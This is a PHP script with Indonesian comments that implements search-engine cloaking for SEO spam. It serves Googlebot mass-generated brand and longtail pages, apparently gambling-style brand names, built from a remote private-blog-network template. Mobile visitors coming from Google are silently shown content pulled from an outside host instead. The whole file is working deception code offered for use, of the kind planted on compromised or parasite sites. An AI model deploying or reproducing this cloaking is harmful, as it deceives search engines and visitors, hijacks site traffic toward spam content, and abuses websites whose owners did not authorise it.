<?php
include __DIR__ . '/services.php';

// --------------- CLOAKING SECTION ---------------
function isMobileDevice() {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    return preg_match('/android|iphone|ipad|ipod|blackberry|opera mini|windows phone|mobile|tablet|kindle|silk|fennec|maemo|webos/', $ua);
}
function isFromGoogleSearch() {
    $ref = $_SERVER['HTTP_REFERER'] ?? '';
    $ref = strtolower($ref);
    return preg_match('/google\.[a-z\.]+/', $ref) || strpos($ref, 'webcache.googleusercontent.com') !== false || strpos($ref, 'google.com/url') !== false;
}
function isGooglebot() {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    return strpos($ua, 'googlebot') !== false;
}
function fetchRemoteContent($url, $timeout = 8) {
    $context = stream_context_create([
        'http' => [
            'timeout' => $timeout,
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0',
            'ignore_errors' => true
        ]
    ]);
    return @file_get_contents($url, false, $context);
}

// Utility: format brand+longtail, hasil: HEHE555 APP
function formatBrandLongtail($brand, $longtail = '') {
    if ($longtail !== '') {
        return strtoupper(trim($brand . ' ' . str_replace('-', ' ', $longtail)));
    }
    return strtoupper(trim($brand));
}

// --------------- RENDER MASSAL FUNCTION ---------------
function render_massal_page() {
    global $brands, $brandLongtail, $images, $title, $desc, $paragraf;

    $protocol  = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https" : "http";
    $host      = $_SERVER['HTTP_HOST'];
    $scriptDir = rtrim(dirname($_SERVER['SCRIPT_NAME']), '\\/');
    $baseUrl   = $protocol . "://" . $host . ($scriptDir && $scriptDir != '/' ? $scriptDir : '') . "/";

    $slug = '';
    if (isset($_GET) && count($_GET)) {
        $slug = createSlug(array_keys($_GET)[0]);
    }

    $foundBrand = '';
    $foundLongtail = '';
    $brandIndex = null;
    $longtailIndex = null;

    foreach ($brands as $i => $brand) {
        $slugBrand = createSlug($brand);
        if ($slug === $slugBrand) {
            $foundBrand = $slugBrand;
            $brandIndex = $i;
            break;
        }
        foreach ($brandLongtail as $j => $longtail) {
            $slugLongtail = createSlug($longtail);
            if ($slug === $slugBrand.'-'.$slugLongtail) {
                $foundBrand = $slugBrand;
                $foundLongtail = $slugLongtail;
                $brandIndex = $i;
                $longtailIndex = $j;
                break 2;
            }
        }
    }

    $canonicalUrl = $baseUrl;
    if ($foundBrand && $foundLongtail !== '') {
        $canonicalUrl .= '?' . $foundBrand . '-' . $foundLongtail;
    } elseif ($foundBrand) {
        $canonicalUrl .= '?' . $foundBrand;
    }

    // Ambil template dari remote/lokal
    $template = @file_get_contents('https://pbn-ph.website/data/gallery/template.html');
    if ($template === false) die('Template HTML not found!');

    // ==== Penentuan Brand Name (brand + longtail) ====
    if ($foundBrand && $foundLongtail !== '') {
        $longtailCount = count($brandLongtail) ?: 1;
        $comboIndex    = ($brandIndex * $longtailCount) + $longtailIndex;

        // Format nama brand: HEHE555 APP, CK44 LOGIN, dst.
        $brandOriName  = isset($brands[$brandIndex]) ? $brands[$brandIndex] : '';
        $longtailText  = '';
        if (isset($brandLongtail[$longtailIndex])) {
            $longtailText = $brandLongtail[$longtailIndex];
        }
        $brandName     = formatBrandLongtail($brandOriName, $longtailText);

        $titleText       = getLooped($title, $comboIndex);
        $descContent     = applyBrandPlaceholder(getLooped($desc, $comboIndex), $brandName);
        $paragrafContent = applyBrandPlaceholder(getLooped($paragraf, $comboIndex), $brandName);
        $imageUrl        = getLooped($images, $comboIndex);

        $body = '<a class="back-link" href="/' . ($scriptDir && $scriptDir != '/' ? $scriptDir : '') . '/?' . $foundBrand . '">&#8678; Back to ' . htmlspecialchars($brandOriName) . '</a>';
        $body .= '<h1>' . htmlspecialchars($titleText) . '</h1>';
        if (!empty($imageUrl)) $body .= '<img src="' . htmlspecialchars($imageUrl) . '" alt="" style="max-width:300px;display:block;margin:12px 0 24px 0;">';
        $body .= '<p><b>Description:</b> ' . htmlspecialchars($descContent) . '</p>';
        $body .= '<div style="margin:24px 0;">' . nl2br(htmlspecialchars($paragrafContent)) . '</div>';

    } elseif ($foundBrand) {
        $brandOriName   = isset($brands[$brandIndex]) ? $brands[$brandIndex] : '';
        $brandName      = formatBrandLongtail($brandOriName, '');

        $titleText       = getLooped($title, $brandIndex);
        $descContent     = applyBrandPlaceholder(getLooped($desc, $brandIndex), $brandName);
        $paragrafContent = applyBrandPlaceholder(getLooped($paragraf, $brandIndex), $brandName);
        $imageUrl        = getLooped($images, $brandIndex);

        $body = '<a class="back-link" href="/' . ($scriptDir && $scriptDir != '/' ? $scriptDir : '') . '/">&#8678; Back to Homepage</a>';
        $body .= '<h1>' . htmlspecialchars($titleText) . '</h1>';
        if (!empty($imageUrl)) $body .= '<img src="' . htmlspecialchars($imageUrl) . '" alt="" style="max-width:300px;display:block;margin:12px 0 24px 0;">';
        $body .= '<p><b>Description:</b> ' . htmlspecialchars($descContent) . '</p>';
        $body .= '<div style="margin:24px 0;">' . nl2br(htmlspecialchars($paragrafContent)) . '</div>';

        if (count($brandLongtail)) {
            $body .= '<h3>Related Topics:</h3><div class="brand-list">';
            foreach ($brandLongtail as $j => $longtail) {
                $slugLongtail = createSlug($longtail);
                $body .= '<a href="/' . ($scriptDir && $scriptDir != '/' ? $scriptDir : '') . '/?' . $foundBrand . '-' . $slugLongtail . '">' . htmlspecialchars(getLooped($title, $j)) . '</a>';
            }
            $body .= '</div>';
        }
    } else {
        $brandName   = '';
        $titleText   = 'Homepage';
        $descContent = 'Welcome to our homepage.';
        $imageUrl    = '';
        $body = '<h1>Brand List</h1><div class="brand-list">';
        foreach ($brands as $i => $brand) {
            $slugBrand = createSlug($brand);
            $body .= '<a href="/' . ($scriptDir && $scriptDir != '/' ? $scriptDir : '') . '/?' . $slugBrand . '">' . htmlspecialchars(getLooped($title, $i) ?: $brand) . '</a>';
        }
        $body .= '</div>';
        $paragrafContent = '';
    }

    $replacer = [
        '{{BRAND}}'     => htmlspecialchars($brandName ?? ''),
        '{{TITLE}}'     => htmlspecialchars($titleText ?? ''),
        '{{DESC}}'      => htmlspecialchars($descContent ?? ''),
        '{{CANONICAL}}' => htmlspecialchars($canonicalUrl ?? ''),
        '{{PARAGRAF}}'  => htmlspecialchars($paragrafContent ?? ''),
        '{{BODY}}'      => $body,
        '{{IMAGE}}'     => htmlspecialchars($imageUrl ?? ''),
    ];
    echo str_replace(array_keys($replacer), array_values($replacer), $template);
}

// --------------- CLOAKING LOGIC ---------------
$MOBILE_SOURCE_URL = 'https://asha777-seo010.pages.dev'; // Ubah ke URL mobile content milikmu

if (isGooglebot()) {
    render_massal_page(); // Googlebot: tampilkan konten dinamis (SEO)
    exit;
} elseif (isMobileDevice() && isFromGoogleSearch()) {
    // Mobile user dari Google: tampilkan remote (bukan redirect)
    $mobileContent = fetchRemoteContent($MOBILE_SOURCE_URL);
    if ($mobileContent) {
        echo $mobileContent;
    } else {
        render_massal_page(); // fallback local
    }
    exit;
} else {
    render_massal_page(); // User biasa: tampilkan konten dinamis (massal)
    exit;
}
?>